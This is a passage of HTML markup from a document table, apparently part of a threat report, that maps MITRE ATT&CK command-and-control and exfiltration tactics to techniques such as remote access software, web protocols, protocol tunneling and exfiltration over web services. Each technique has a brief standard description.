0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Command and Control (TA0011)&#x202F;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1151695046" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{124}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1219 Remote Access Software</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="454498880" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{131}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">An adversary may use legitimate remote access tools to </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">establish</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> an interactive command and control channel within a network.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="33" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="2135574307" paraeid="{97827e4a-d9bd-408a-9513-66f2baecf248}{200}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="247537710" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{140}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1071.001 Application Layer Protocol: Web Protocols&#xA0;&#xA0;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="570178659" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{147}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="34" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1251231715" paraeid="{97827e4a-d9bd-408a-9513-66f2baecf248}{203}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="257256476" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{160}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1102 Web Service</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1528903520" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{167}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="35" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1990721959" paraeid="{97827e4a-d9bd-408a-9513-66f2baecf248}{206}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1080127141" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{180}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1572 Protocol Tunneling</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1960741434" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{187}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="36" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="855632001" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{195}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Exfiltration (TA0010)&#x202F;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="512192214" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{202}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1567 Exfiltration Over Web Service</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1286854308" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{209}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal 